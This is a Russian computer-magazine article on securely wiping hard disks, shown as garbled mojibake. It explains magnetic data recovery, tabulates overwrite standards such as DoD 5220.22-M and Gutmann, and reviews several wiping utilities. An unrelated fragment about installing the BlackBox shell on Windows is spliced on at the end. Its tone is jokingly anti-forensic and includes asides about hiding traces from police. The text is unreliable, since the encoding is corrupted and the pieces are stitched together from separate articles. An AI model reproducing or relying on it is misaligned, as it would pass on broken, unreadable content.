ðåàëüíóþ ïðèáûëü â òîííàõ çåëåíè... Àõ äà, ÿ çàìå÷òàëñÿ è îòâëåêñÿ. 

[information Static Collection] Èòàê, ïåðâûé èç èçâåñòíûõ ìíå ñïîñî-
áîâ îñíîâàí íà ñòàòèñòè÷åñêîì íàêîïëåíèè èíôîðìàöèè ïðè ìíîãîêðàòíîì
ñ÷èòûâàíèè äàííûõ èç ñåêòîðîâ äèñêà, êîòîðûå ïîäâåðãëèñü çà÷èñòêå.
Ñóòü ýòîãî ìåòîäà ìîæíî ïîÿñíèòü ñëåäóþùèì îáðàçîì. Êàê èçâåñòíî, èí-
ôîðìàöèÿ íà æåñòêîì äèñêå õðàíèòñÿ â äâîè÷íîé ôîðìå � â âèäå ïîñëå-
äîâàòåëüíîñòè åäèíèö è íóëåé, êîòîðûå ïðåäñòàâëÿþòñÿ ðàçëè÷íûì îáðà-
çîì íàìàãíè÷åííûìè ó÷àñòêàìè ïîâåðõíîñòè ìàãíèòíîãî íîñèòåëÿ. Óñëîâ-
íî ãîâîðÿ, åäèíèöà, çàïèñàííàÿ íà æåñòêèé äèñê, áóäåò ïðî÷èòàíà êîíòðîë-
ëåðîì æåñòêîãî äèñêà êàê 1, à çàïèñàííûé 0 áóäåò ïðî÷èòàí êàê 0. Îäíàêî,
åñëè ïîâåðõ 0 áóäåò çàïèñàíà 1, òî ðåçóëüòàò, óñëîâíî ãîâîðÿ, áóäåò ðàâåí
0,95 è, íàîáîðîò, åñëè ïîâåðõ 1 áóäåò çàïèñàíà 1, ðåçóëüòàò áóäåò ðàâåí
1,05. Äëÿ êîíòðîëëåðà ýòè ðàçëè÷èÿ ñîâåðøåííî íåñóùåñòâåííû. Íî, èñ-
ïîëüçóÿ ñïåöèàëüíóþ àïïàðàòóðó, ìîæíî ëåãêî ïðî÷èòàòü, êàêóþ ïîñëåäî-
âàòåëüíîñòü 1 è 0 ñîäåðæàëà èñêîìàÿ çàïèñü.

[MFM] Âòîðîé ìåòîä áûë ðàç-
ðàáîòàí íå òàê äàâíî è ÿâëÿåòñÿ
åùå áîëåå ìîùíûì ñðåäñòâîì
âîññòàíîâëåíèÿ. Îí îñíîâàí íà
ïðèíöèïàõ ìàãíèòíîé ñèëîâîé
ìèêðîñêîïèè (MFM) è ñêàíèðóþ-
ùåé çîíäîâîé ìèêðîñêîïèè.
Ðàçðåøàþùàÿ ñïîñîáíîñòü ýòî-
ãî ìåòîäà äîñòàòî÷íà äëÿ ðàç-
äåëüíîãî ñ÷èòûâàíèÿ íåñêîëü-
êèõ ïîñëåäîâàòåëüíûõ çàïèñåé [X
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Áðþñ Øíàéåð
õîðîøèé ÷åëîâåê -
Ïèòòåð Ãóòìàí

Ñîâåòóþ òåáå îòêëþ÷èòü
âîññòàíîâëåíèå ñèñòåìû,
òàê êàê ðåàëüíóþ ïîëüçó îíî
ïðèíîñèò î÷åíü ðåäêî, è
ïðîäâèíóòûå ëþäè äàâíî
ïîëüçóþòñÿ ÷åì-òî âðîäå
Norton Ghost. Êðîìå òîãî,
ìíîãèå ïðîãðàììû èç ýòîãî
îáçîðà â áîëüøèíñòâå ñâî-
åì íå ìîãóò ñïðàâèòüñÿ ñ
èíôîðìàöèåé, õðàíÿùåéñÿ
â êîíòðîëüíûõ òî÷êàõ: èìåí-
íî îíà ìîæåò âûäàòü òåáÿ.

Íå ïûòàéñÿ ñêðûâàòü ïðî-
òèâîçàêîííóþ èíôîðìà-
öèþ � áîëüøèíñòâî èç ýòèõ
óòèëèò òåáå íå ïîìîãóò. 
Ó ñïåöñëóæá, íàâåðíÿêà,
åñòü òåõíèêà, ïîçâîëÿþ-
ùàÿ âîññòàíàâëèâàòü èí-
ôîðìàöèþ ïî íåèçâåñò-
íûì ìíå ìåòîäàì.



èíôîðìàöèè, à çíà÷èò, (î, óæàñ!!!) òåáÿ íå ñïàñåò äàæå äâóõ-, èëè äàæå
òðåõêðàòíîå çàòèðàíèå äàííûõ! 

[top security] Íî è çäåñü áûë íàéäåí âûõîä èç ñòîëü òÿæåëîé ñèòóàöèè.
Ìåòîäû ãàðàíòèðîâàííîãî óäàëåíèÿ èíôîðìàöèè ñóùåñòâóþò! È òåáå ñîâ-
ñåì íå ïðèäåòñÿ äîëáèòü ñâîé æåñòêèé äèñê êóâàëäîé, æàðèòü è øïàðèòü
åãî â ìèêðîâîëíîâêå, âçðûâàòü, ñòèðàòü çàâîäñêèå ñåðâîìåòêè ìàãíèòíûõ
ïëàñòèí, ñêèäûâàòü ñ áàëêîíà, òðàâèòü êèñëîòîé, îòïðàâëÿòü â ÿäåðíûé ðå-
àêòîð èëè ïðîèçâîäèòü íà HDD óëüòðàçâóêîâîå âîçäåéñòâèå: ñîãëàñèñü, âñå
ýòî ïðåäñòàâëÿåò ñîáîé ñòðàøíîå çðåëèùå, õîòü è âëèÿåò íà ìàãíèòíóþ ïî-
âåðõíîñòü, ïîðîé, ñ îãðîìíûì ïîâðåæäàþùèì óñïåõîì.
Çàäà÷à ïîëíîãî ôèçè÷åñêîãî óäàëåíèÿ èíôîðìàöèè âïîëíå âûïîëíèìà
ïðîãðàììíûìè ìåòîäàìè, è ñâîäèòñÿ ê òîìó, ÷òîáû ïðîèçâåñòè êàê ìîæíî
áîëüøå çàïèñåé ïîâåðõ äîðîæêè, ñîäåðæàùåé ñåêðåòíûå äàííûå. Êàæäàÿ
äîðîæêà äîëæíà áûòü ïîëíîñòüþ ïåðåìàãíè÷åíà, èñêëþ÷àÿ âîçäåéñòâèå
ãèñòåðåçèñà (îñòàòî÷íóþ íàìàãíè÷åííîñòü). À ýòà çàäà÷à, â ñâîþ î÷åðåäü,
ñâîäèòñÿ ê áåçîïàñíîé ìèíèìèçàöèè êîëè÷åñòâà èòåðàöèé çàòèðàíèÿ. Îä-
íàêî, êàê è â ëþáîé çàäà÷å, ìèíèìèçàöèÿ î÷åíü ÷àñòî ãðàíè÷èò ñ áåçîïàñ-
íîñòüþ, è ÷òîáû ïîëó÷èòü íàèëó÷øèé ðåçóëüòàò, íåîáõîäèìî ïðèìåíÿòü àë-
ãîðèòìû, ÷åòêî îðèåíòèðîâàííûå íà êàæäóþ ìîäåëü æåñòêîãî äèñêà, ÷òî,
ñîãëàñèñü, äîñòàòî÷íî ñëîæíî... Íî óìíûå ëþäè äàâíî âñå çà íàñ ñ òîáîé
ïðèäóìàëè, ïðè÷åì òàê õîðîøî, ÷òî ñâåëè âñå àëãîðèòìû â íàöèîíàëüíûå
ñòàíäàðòû, êîòîðûìè ïîëüçóþòñÿ è ïî ñåé äåíü. Áîëüøèíñòâî ýòèõ àëãîðèò-
ìîâ ïðåäïîëàãàþò îêîëî ÷åòûðåõ ïåðåçàïèñåé. Êàæåòñÿ, íåìöû è çäåñü
âûèãðàëè áëàãîäàðÿ ñâîåé ùåïåòèëüíîñòè, à çà íàøó ñòðàíó ìíå ñòàëî
ñòûäíî, òî÷íåå, çà òåõ «ñïåöèàëèñòîâ», êîòîðûå ïðèíèìàþò ñòîëü ñëàáûå
àëãîðèòìû óíè÷òîæåíèÿ èíôîðìàöèè. Óáåäèòüñÿ â ýòîì è ïîíÿòü â ÷åì ñóòü
(à ñóòü-òî â íàøåì ïîäúåçäå:)), òû ìîæåøü, èçó÷èâ òàáëèöó âî âðåçêå.
Èíòåðåñíàÿ äåòàëü: ðóêîâîäñòâî ïî çàùèòå èíôîðìàöèè NISPOM çàïðå-
ùàåò èñïîëüçîâàíèå àëãîðèòìà DoD 5220.22-M äëÿ óíè÷òîæåíèÿ äàííûõ
ñ ãðèôîì: «ÑÎÂ. ÑÅÊÐÅÒÍÎ». 
Àëüòåðíàòèâíûìè ñïîñîáàìè â ñîîòâåòñòâèè ñ íèì æå ÿâëÿþòñÿ: 

1 Ðàçìàãíè÷èâàíèå ïî ñòàíäàðòó P-5239-26 NAVSO.

2 Ôèçè÷åñêîå ðàçðóøåíèå.

Ñðåäè âñåõ ïåðå÷èñëåííûõ ñòîèò îñîáîå âíèìàíèå óäåëèòü äâóì, êîòî-
ðûå ÿ ñ÷èòàþ íàèáîëåå íàäåæíûìè: Àëãîðèòì Áðþñà Øíàéåðà, êîòî-
ðûé îí ïðåäëîæèë â ñâîåé êíèãå «Ïðèêëàäíàÿ êðèïòîãðàôèÿ» è Àëãî-
ðèòì Ïèòåðà Ãóòìàíà, «âå÷íîãî àñïèðàíòà» íà êàôåäðå êîìïüþòåðíîé

| ××ÒÎ ÒÒÀÊÎÅ MMFM? || 
Âîò òàê ïðèìåðíî îïèñàí ìåòîä MFM íà ñàéòå ÅÏÎÑ
http://epos.kiev.ua/pubs/, îäíîé èç íàèáîëåå èçâåñòíûõ êîìïà-
íèé, çàíèìàþùèõñÿ âîññòàíîâëåíèåì èíôîðìàöèè:
«Ìàãíèòíûé íàêîíå÷íèê çîíäà äâèæåòñÿ íàä ïîâåðõíîñòüþ
ïëàñòèíû íà ðàññòîÿíèè ïîðÿäêà 10�100 Àíãñòðåì. Â çàâè-
ñèìîñòè îò ñèëû ìàãíèòíîãî âçàèìîäåéñòâèÿ ìåæäó ìàã-
íèòíîé ïëàñòèíîé æåñòêîãî äèñêà è ÷èòàþùåé ãîëîâêîé,
ðàññòîÿíèå ìåæäó íèìè èçìåíÿåòñÿ. Ýòè êîëåáàíèÿ ðàññòî-
ÿíèÿ äåòåêòèðóþòñÿ îïòè÷åñêèì èíòåðôåðîìåòðîì. Ïîëó-
÷åííîå èçîáðàæåíèå ïðåäñòàâëÿåò ñîáîé îáðàç ðàñïðåäå-
ëåíèÿ íàìàãíè÷åííîñòè.
Ýòèìè ìåòîäàìè ìîæíî èçìåðèòü ìàãíèòíûé ðåëüåô ïîâå-
ðõíîñòè äèñêà è, ñëåäîâàòåëüíî, âîññòàíîâèòü èíôîðìà-
öèþ. Âñëåäñòâèå î÷åíü âûñîêîé ïëîòíîñòè çàïèñè, ìåõàíè-
÷åñêàÿ ñèñòåìà ïðèâîäà ìàãíèòíîé ãîëîâêè íå â ñîñòîÿíèè
òî÷íî ñëåäîâàòü ïî òðåáóåìîé òðàåêòîðèè, ñëåäîâàòåëüíî,
ïðè çàïèñè íîâûõ äàííûõ ïîâåðõ êîíôèäåíöèàëüíîé èí-
ôîðìàöèè íîâûå äàííûå âñåãäà áóäóò çàïèñàíû ñ íåêîòî-
ðûì ñìåùåíèåì îòíîñèòåëüíî ðàíåå çàïèñàííûõ äàííûõ.
Êàæäàÿ äîðîæêà ìàãíèòíîãî äèñêà ñîäåðæèò îáðàç êàæäîé
çàïèñè, êîãäà-ëèáî ñäåëàííîé íà íåé, íî âêëàä êàæäîé òà-
êîé çàïèñè (ìàãíèòíîãî ñëîÿ) òåì ìåíüøå, ÷åì ðàíüøå áû-
ëà ñäåëàíà çàïèñü».

[òàáëèöà îñíîâíûõ àëãîðèòìîâ]

Ðóêîâîäñòâî ïî çàùèòå èíôîðìàöèè 
ÌÎ ÑØÀ (NISPOM) DoD 5220.22�M, 1995ã.
Êîëè÷åñòâî èòåðàöèé: 4
1-é ïðîõîä � çàïèñü ïðîèçâîëüíîãî êîäà. 
2-é ïðîõîä � çàïèñü èíâåðòèðîâàííîãî êîäà. 
3-é ïðîõîä � çàïèñü ñëó÷àéíûõ êîäîâ.
4-é � âåðèôèêàöèÿ çàïèñåé. 
Àìåðèêàíñêèé NAVSO P-5239-26 (RLL)
Êîëè÷åñòâî èòåðàöèé: 4
1-é ïðîõîä � 0x01 âî âñå ñåêòîðà.
2-é ïîäõîä � 0x27FFFFFF.
3-é ïîäõîä � ñëó÷àéíûå ïîñëåäîâàòåëüíîñòè ñèìâîëîâ.
4-1 ïîäõîä � âåðèôèêàöèÿ.
Àìåðèêàíñêèé NAVSO P-5239-26 (MFM)
Êîè÷åñòâî èòåðàöèé: 4
1-é ïðîõîä � 0x01 âî âñå ñåêòîðà.
2-é ïðîõîä � 0x7FFFFFF.
3-é ïðîõîä � ñëó÷àéíûå ïîñëåäîâàòåëüíîñòè ñèìâîëîâ.
4-é ïðîõîä � âåðèôèêàöèÿ.
Ñòàíäàðò VISR (Ãåðìàíèÿ)
Êîëè÷åñòâî èòåðàöèé: 7
1-é�6-é ïðîõîä � çàïèñü ÷åðåäóþùèõñÿ ïîñëåäîâàòåëüíîñòåé âèäà:
0x00 è 0xFF.
7-é � 0xAA, òî åñòü 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0xAA.
ÃÎÑÒ Ð50739-95ã. (Ðîññèÿ)
Êîëè÷åñòâî èòåðàöèé: 1
Çàïèñü íóëåé (÷èñåë âèäà 0x00) â êàæäûé áàéò êàæäîãî ñåêòîðà
äëÿ ñèñòåì ñ 6-ãî ïî 4-é êëàññ çàùèòû. Çàïèñü ñëó÷àéíî âûáðàí-
íûõ ñèìâîëîâ (÷èñåë) â êàæäûé áàéò êàæäîãî ñåêòîðà äëÿ ñèñòåì
ñ 3-ãî ïî 1-é êëàññ çàùèòû. Àëãîðèòì Á. Øíàéåðà (Bruce Schneier)
Êîëè÷åñòâî èòåðàöèé: 7
1-é ïðîõîä � çàïèñü ëîãè÷åñêèõ åäèíèö FFh.
2-é � íóëåé 0x00.
3�7 � ñëó÷àéíî âûáðàííûõ ÷èñåë. 
Àëãîðèòì Ïèòåðà Ãóòìàííà (Peter Gutman).
Êîëè÷åñòâî èòåðàöèé: 35
Öèêëû 1�4 � çàïèñü ïðîèçâîëüíîãî êîäà. 
Öèêëû 5�6 � çàïèñü êîäîâ 0x55, 0xAÀ. 
Öèêëû 7�9 � çàïèñü êîäîâ 0x92, 0x49, 0x24. 
Öèêëû 10�25 � ïîñëåäîâàòåëüíàÿ çàïèñü êîäîâ îò 0x00, 0x11, 0x22
è ò.ä. äî 0xFF. 
Öèêëû 26�28 �àíàëîãè÷íî öèêëàì 7..9. 
Öèêëû 29�31 � çàïèñü êîäà 0x6D, 0xB6. 
Öèêëû 32�35 � àíàëîãè÷íî öèêëàì 1..4.
Áûñòðûé.
Êîëè÷åñòâî èòåðàöèé: 1
Çàïèñü ëîãè÷åñêèõ íóëåé (÷èñåë âèäà 0x00) âî âñå î÷èùàåìûå ñåêòîðà.

âûáîð ðàçäåëà äëÿ çà÷èñòêè Acronis'îì

ðàçíîîáðàçèå ìåòîäîâ â Acronis
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íàóêè óíèâåðñèòåòà ãîðîäà Îêëåíä, êîòîðûé ðàçðàáîòàë ñâîþ
ñîáñòâåííóþ ñèñòåìó óíè÷òîæåíèÿ èíôîðìàöèè è èíñòðóìåíòàðèé áå-
çîïàñíîñòè Cryptlib. Èìåííî ýòè àëãîðèòìû âûçûâàþò äîâåðèå è ïîëó-
÷èëè íàèáîëüøåå ðàñïðîñòðàíåíèå. Îäíó èç ñàìûõ èçâåñòíûõ åãî ðà-
áîò òû ìîæåøü ïî÷èòàòü çäåñü: www.cs.auckland.ac.nz/%7Epgut001/
pubs/secure_del.html.
Äàëåå, ïðè ðàññìîòðåíèè äîñòóïíûõ ïðîãðàììíûõ ñðåäñòâ, áóäåì îñîáîå
âíèìàíèå óäåëÿòü íàëè÷èþ ýòèõ àëãîðèòìîâ.

[ïîäîïûòíûå] Íó ÷òî æå, ïîæàëóé, ïðèñòóïèì ê ðàññìîòðåíèþ òåõ ñàìûõ
ïðîãðàììíûõ ñðåäñòâ, íî ñíà÷àëà óïîìÿíó, ÷òî çëîáíûé ðåäàêòîð Áóáëèê
òàê áîÿëñÿ, ÷òî ýòó ñòàòüþ çàáåðóò âî «Âçëîì», ÷òî çàïðåòèë ìíå ðàññìàò-
ðèâàòü óòèëèòû äëÿ unix-like ñèñòåì, ïîýòîìó ðóãàòü íàäî òîëüêî åãî. (Áóá-
ëèê, òîëüêî ïîïðîáóé óäàëèòü ýòó ñòðî÷êó. Ê òåìíîé ñòîðîíå ýòî âåäåò :)).
Êðîìå òîãî, ÿ ñ÷èòàþ, òû è ñàì íå ìàëåíüêèé, è âïîëíå ñîîáðàçèøü, ãäå èñ-
êàòü ïîäîáíûé ñîôò ïîä ñâîþ open-source ñèñòåìó. Åñëè íå ñîâñåì ïîëó-
÷èòñÿ, ïèøè ìíå èëè Àíäðþøêó � ðåäàêòîðó ðóáðèêè Þíèêñîèä.

[Acronis Drive Cleanser] Ïåðâûì â ìîåì îáçîðå áóäåò íåáåçûçâåñòíàÿ
êîíòîðà Acronis ñ åå óòèëèòîé Acronis Drive Cleanser. Îáû÷íî îíà âõîäèò â
ñîñòàâ åùå áîëåå êðóïíîãî ïàêåòà îáåñïå÷åíèÿ òâîåé áåçîïàñíîñòè Acronis
Privasy Expert Suit. Ñîôò, ïðîèçâîäèìûé ýòîé ôèðìîé, äîñòàòî÷íî õîðîø, â
òîì ÷èñëå è Drive Cleanser. Ìèíóñû ó íåãî âñå æå åñòü, íî ñêàæó î íèõ ÷óòü
ïîçæå. Ñíà÷àëà ñóõèå ôàêòû î äîñòîèíñòâàõ ýòîé ñèñòåìû:

1Îãðîìíûé âûáîð àëãîðèòìîâ (ïðàêòè÷åñêè âñå, ñâåäåííûå â òàáëèöó).

2 Âîçìîæíîñòü ñîñòàâëÿòü ñîáñòâåííûå ìåòîäû çàòèðàíèÿ äàííûõ.

3 Ñîñòàâëåíèå àëãîðèòìîâ ïî øàáëîíó.

4 Äîñòàòî÷íî ïðèÿòíûé èíòåðôåéñ.

5 Ïîäðîáíàÿ äîêóìåíòàöèÿ.

6 Óäîáíîå ðàñøèðåíèå pupup-ìåíþ ãðàôè÷åñêîé îáîëî÷êè.

Ëè÷íî ìíå ñðàçó â ãîëîâó ïðèøëà ìûñëü ñîñòàâèòü ãèáðèäû àìåðèêàíñêèõ
ñòàíäàðòîâ NISPOM è NAVSO, òàê êàê èìåííî èõ êîìáèíàöèè ïðèìåíÿþòñÿ
äëÿ óäàëåíèÿ äîêóìåíòîâ «Top Secret» (êàê áûëî ñêàçàíî âûøå, NISPOM
ñàì ïî ñåáå äëÿ ýòèõ íóæä íå ïðèìåíÿåòñÿ). È ýòî ó ìåíÿ îòëè÷íî ïîëó÷è-
ëîñü. Êðîìå òîãî, ïîñîâåòóþ òåáå çàáûòü î òàêîé êîìáèíàöèè êëàâèø, êàê
shift+del � èõ ñ ëèõâîé çàìåíèò îáû÷íàÿ êîðçèíà è çàòèðàíèå ñ ïîìîùüþ
àêðîíèñîâñêîãî ÷èñòèëüùèêà.
À òåïåðü îáåùàííûå ìèíóñû. Íåñêîëüêî ðàç âî âðåìÿ òåñòîâûõ ïðîõî-
äîâ ïî îäíîìó èç ìîèõ ðàçäåëîâ âèí÷åñòåðà âûäàâàëîñü ïðåäóïðåæäå-
íèå î íåâîçìîæíîñòè çàïèñè â ñåêòîð, ÷åìó ÿ î÷åíü ñèëüíî óäèâèëñÿ,
âåäü bad-ñåêòîðîâ íà ìîåì ïðàêòè÷åñêè íîâîì æåñòêîì äèñêå íå íàá-
ëþäàëîñü. ß âûïîëíèë ïîëíóþ ïðîâåðêó äèñêà è åãî ïîâåðõíîñòè, íî
ýòî íè÷åãî íå ïîêàçàëî, â ðåçóëüòàòå áàãè áûëè ñïèñàíû íà Acronis
Drive Cleanser. Âòîðîé ïîäîáíûé ìèíóñ çàêëþ÷àåòñÿ â òîì, ÷òî ýòà ñîô-
òèíà ïî îïÿòü æå íåïîíÿòíûì ìíå ïðè÷èíàì íå ìîæåò óäàëÿòü íåêîòî-
ðûå ôàéëû, íàõîäÿùèåñÿ â êîðçèíå. Ñ ó÷åòîì ýòîãî, ïðèãîâîð: èñïîëü-

çîâàíèå â áîåâûõ öåëÿõ âïîëíå âîçìîæíî, òîëüêî îñòîðîæíî. Íî äîñ-
òóïíû è ìàññèâíûå ïðåâåíòèâíûå àòàêè.

[O&O Software SafeErase] Âòîðûì íîìåðîì, øèðîêî øàãàÿ, èäåò ïðîã-
ðàììà îò O&O Software ïîä íàçâàíèåì SafeErase. Ïîæàëóé, îíà íè÷åì íå
óñòóïàåò ïàêåòó îò Acronis, à â ÷åì-òî è ïðåâîñõîäèò åãî. Êàê è ïðîäóêò îò
Acronis, SafeErase äîáàâëÿåò ñâîå ðàñøèðåíèå ê ãëàâíîìó popup-ìåíþ.
Âòîðîé áîëåå íàäåæíûé ñïîñîá ñîêðûòèÿ ñëåäîâ ïîäðàçóìåâàåò ïîëíîå
çàòèðàíèå âñåé ñèñòåìû. Åãî ÿ íå ðåøèëñÿ èñïûòûâàòü äîìà è test-drive
ïðîâåë íà îäíîé èç èíñòèòóòñêèõ òà÷åê ñ 20 Ãá HDD, 128 Ìá RAM è ïðîöåñ-
ñîðîì Celeron 600. Â îáùåé ñëîæíîñòè ïðîöåññ óäàëåíèÿ çàíÿë òðè ÷àñà,
ïðè÷åì äâà ñ ïîëîâèíîé èç íèõ ÿ è ìîé ïîìîùíèê � ìëàäøèé íàó÷íûé ñîò-
ðóäíèê Simm � ïîäãîòàâëèâàëèñü ñàìè, çàëèâàÿ ñåáÿ ñàìûì õàêåðñêèì
íàïèòêîì. Â ðåçóëüòàòå Runtime Software DiskExplorer ïîêàçàë, ÷òî HDD
ïîëíîñòüþ çàáèò íóëÿìè. Íî âñå æå ìíå ýòè ïîë÷àñà ïîêàçàëèñü âå÷-
íîñòüþ: çà ýòî âðåìÿ ìîþ äâåðü óæå ìîãëè âûáèòü, îòðóáèòü ýëåêòðè÷åñò-
âî, çàëîìàòü ìíå ðóêè è óâåçòè â óïðàâëåíèå ëþäè â ÷åðíîì� Ïå÷àëüíî,
íî ôàêò îñòàåòñÿ ôàêòîì: þçàòü ìîæíî è íóæíî. Îäíîçíà÷íî. 

[Jetico BCWipe] Íîìåð òðè. Jetico BCWipe. Âîò ýòî ÷òî-òî ñîâñåì îñîáåííîå:
ïîõîæå, ðàçðàáîò÷èêè ó÷ëè çäåñü âñå:  è ñêðûòûå êîïèè Windows, è îñòàòî÷íûå
äàííûå â ïîëó-çàíÿòûõ êëàñòåðàõ, è âðåìåííûå ôàéëû, è äàííûå RAM, è èí-
ôîðìàöèþ â ôàéëå ïîäêà÷êè, è ðàñïèñàíèå, è ïîëíîå óäàëåíèå âñåé èíôîðìà-
öèè. Óæ ïðîñòÿò ìåíÿ ðàçðàáîò÷èêè, åñëè ÿ ÷òî-òî çàáûë óïîìÿíóòü. Åäèíñòâåí-
íûé íåäîñòàòîê ýòîé ñèñòåìû â òîì, ÷òî ïîëüçîâàòüñÿ åé íå òàê óæ ïðîñòî: îíà
ñîñòîèò èç íåñêîëüêèõ èñïîëíÿåìûõ ôàéëîâ, ïðè÷åì êàæäûé îòâå÷àåò çà ñâîþ
þðèñäèêöèþ âîçìîæíîñòåé ñèñòåìû, è ìíå ïîñëå âñåé êðàñîòû Acronis è O&O
ïîêàçàëîñü, ÷òî ïîðò ýòîé ñèñòåìû èçíà÷àëüíî ñîçäàâàëñÿ ïîä Linux. Íó íå ìî-
æåò áûòü ñòîëü ìîùíîé óòèëèòû â òàêîì ðàçîáùåííîì ñòèëå ïîä Windows�

[Eraser, ïðîñòî Eraser] Â çàêëþ÷åíèå ñòîèò ñêàçàòü î ïîñëåäíåé óòèëè-
òå, êîòîðàÿ îòëè÷àåòñÿ îò îñòàëüíûõ ñòèëåì ðàñïðîñòðàíåíèÿ � îíà ïîë-
íîñòüþ áåñïëàòíàÿ è ðàñïðîñòðàíÿåòñÿ ñ èñõîäíûìè êîäàìè ïî GPL-ëèöåí-
çèè. Êàê è â BCWipe, çäåñü åñòü âîçìîæíîñòü óäàëÿòü ôàéëû, âûòèðàòü
ñâîï è çà÷èùàòü ñâîáîäíîå ìåñòî ïî ðàñïèñàíèþ, òàêæå íåò çäåñü íè íå-
ìåöêîãî ñòàíäàðòà, íè àëãîðèòìà Øíàéåðà, è, îïÿòü æå, êàê è â BCWipe ëþ-
áèòåëÿì êîìàíäíîé ñòðîêè åñòü, ãäå ðàçãóëÿòüñÿ.

[Zloêëþ÷åíèå] Íà ýòîì ÿ çàêîí÷ó ìîé ïîó÷èòåëüíûé ðàññêàç. Ïî òðàäè-
öèè (âàëåíîê, êàêàÿ òðàäèöèÿ? Ýòî òâîÿ ïåðâàÿ ñòàòüÿ :) � Ïðèì. Áóáëèêà),
ÿ íå áóäó ÷åòêî ïîäâîäèòü èòîãè è âûñòàâëÿòü áàëëû îòòåñòèðîâàííîìó
ñîôòó � ó íàñ äåìîêðàòèÿ è òû ñàì â ïðàâå âûáèðàòü òî, ÷åì áóäåøü ïîëü-
çîâàòüñÿ, äà è íàéòè ñîôò, ïîìèìî ðàññìîòðåííîãî ìíîé, íå ïðåäñòàâëÿåò-
ñÿ ïðîáëåìîé, åñëè ñ÷èòàåøü, ÷òî áåçîïàñíîñòü � ýòî àêòóàëüíî. Åñëè ó
òåáÿ åñòü ìûñëè, êîòîðûìè òû õî÷åøü ïîäåëèòüñÿ � äîáðî ïîæàëîâàòü íà
www.ru24-team.net. Íó à ÿ âîçâðàùàþñü â ñâîé ïîòóñòîðîííèé ìèð, ìèð
ýëåêòðîíîâ è ðîóòåðîâ, ìèð êðàñîòû äàííûõ, òóäà, îòêóäà ïðèøåë. Âñåãäà
âàø, ñêðûòûé îïåðàöèîíùèê�

eraser � àëãîðèòìû çàòèðàíèÿ

ìåíåäæåð çàäà÷ BCWipe

êîíôèãóðèðóåì BCWipe
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[BlackBox] Íó ÷òî æå, ïðèñòóïèì. Çàõîæó â ïàï-
êó ñî ñâàëåííûìè â êó÷ó øåëëàìè, ïðåäâàðèòåëü-
íî çàëèòûìè äëÿ èçó÷åíèÿ, è ïåðâîå, ÷òî ìíå áðî-
ñàåòñÿ â ãëàçà � èçâåñòíûé íàì ïî íèêñîâûì ñèñ-
òåìàì BlackBox, ïðàâäà, â âèíäå ýòîò ìåíåäæåð
íàçûâàåòñÿ bb4win, íî ñïóòàòü åãî íè ñ ÷åì íåâîç-
ìîæíî. Ñóùåñòâóþò äâà ñïîñîáà óñòàíîâêè
BlackBox: ïåðâûé � èç èíñòàëëÿöèîííîãî ïàêåòà
bb4win_installer è âòîðîé � èç zip-àðõèâà (âñå äîá-
ðî ìîæíî óòàùèòü ñ desktopian.org/bb èëè source-
forge.net/projects/bb4win). Åñòåñòâåííî, ÿ êàê î÷åíü
ëåíèâûé ÷åë ðåøèë ñíà÷àëà èñïðîáîâàòü èíñòàë-
ëÿòîð (à êàê èçâåñòíî, ëåíü � äâèãàòåëü ïðîãðåñ-
ñà:)). Óñòàíîâêà ïðîõîäèò áåç îñîáûõ òðóäíîñòåé:
ñòàâèì âñå ñòèëè è ïëàãèíû. Åñòü âîçìîæíîñòü
ïîñòàâèòü BB ïî óìîë÷àíèþ èëè çàïóñêàòü ðó÷êà-
ìè. Ïåðåçàãðóæàåìñÿ. Ñìîòðèì. Íó íè÷åãî ñóïåðíà-
âîðî÷åííîãî ÿ, êîíå÷íî, íå îæèäàë, íî òî, ÷òî ÿ
óâèäåë, ìåíÿ î÷åíü îáðàäîâàëî. Âîò ìîÿ âèíäà
ïîñòåïåííî ïðåâðàùàåòñÿ â ïîäîáèå ëèíóêñà.
Ïðåäñòàâüòå ñåáå BB, à â íåì çàïóùåíû Mozilla
Firefox, Open Office, SIM è NmapFE. Äóøà ðàäóåò-
ñÿ, à ãëàç åùå áîëüøå:). ß çàìå÷òàëñÿ... Âñå ãëàâ-
íîå ìåíþ îòêðûâàåòñÿ òåïåðü ïî ïðàâîìó áàòîíó
ìûøè. Â ñòàíäàðòíîì èíñòàëëÿòîðå åñòü òîëüêî
äâà ñòèëÿ: ñharcoal è algae, íî íå ñòîèò ðàññòðàè-
âàòüñÿ ïî ýòîìó ïîâîäó � èõ ñóùåñòâóåò äîñòà-

034
ÊÀÊ-ÒÎ, ÎÄÍÀÆÄÛ,  ÏÐÎ×ÈÒÀË ß ÑÒÀÒÜÞ
«ÏÎËÍÛÉ ÐÅ» Â Õ 07(67), ÑÎÒÂÎÐÈË ÑÅÁÅ
ÝÒÓ ÑÈÑÒÅÌÓ È ÎÁÍÀÐÓÆÈË, ×ÒÎ Â ÊÀ×ÅÑÒ-
ÂÅ ÃÐÀÔÈ×ÅÑÊÎÉ ÎÁÎËÎ×ÊÈ Â RECOVERY
ASSISTANT ÈÑÏÎËÜÇÓÅÒÑß BLACK BOX È
«ÃÐÅÕ ÝÒÈÌ ÍÅ ÂÎÑÏÎËÜÇÎÂÀÒÜÑß» (Ñ)
ÑÊÀÉËÎÐÄ. ÍÎ ÒÎËÜÊÎ ß ÂÎÒ ÐÅØÈË ÝÒÈÌ
ÂÎÑÏÎËÜÇÎÂÀÒÜÑß ÏÎ-ÄÐÓÃÎÌÓ: ÏÐÅÂÐÀ-
ÒÈÒÜ (ÕÛÕ... ÍÓ, ÈËÈ ÈÇÂÐÀÒÈÒÜ :)) ÑÂÎÞ
WINDOWS-LIKE ÑÈÑÒÅÌÓ Â UNIX-LOOK :). ÕÎ-
Òß ÇÄÅÑÜ ÐÅ×Ü ÏÎÉÄÅÒ ÍÅ ÎÁ ÝÒÎÌ, À Â
ÁÎËÜØÅÉ ×ÀÑÒÈ ÎÁ ÈÇÄÅÂÀÒÅËÜÑÒÂÀÕ ÏÎ
ÇÀÌÅÍÅ ÑÒÀÍÄÀÐÒÍÎÉ ÃÐÀÔÈ×ÅÑÊÎÉ ÎÁÎ-
ËÎ×ÊÈ ÂÈÍÄÛ � ÝÊÑÏËÎÐÅÐÀ (ÍÅ ÏÓÒÀÒÜ Ñ
ÎÁÙÅÈÇÂÅÑÒÍÛÌ ÈØÀÊÎÌ (INTERNET
EXPLORER). ß ÂÇßË ÍÅÑÊÎËÜÊÎ ÀËÜÒÅÐÍÀ-
ÒÈÂÍÛÕ ÃÐÀÔÈ×ÅÑÊÈÕ ÎÁÎËÎ×ÅÊ (GRAPH-
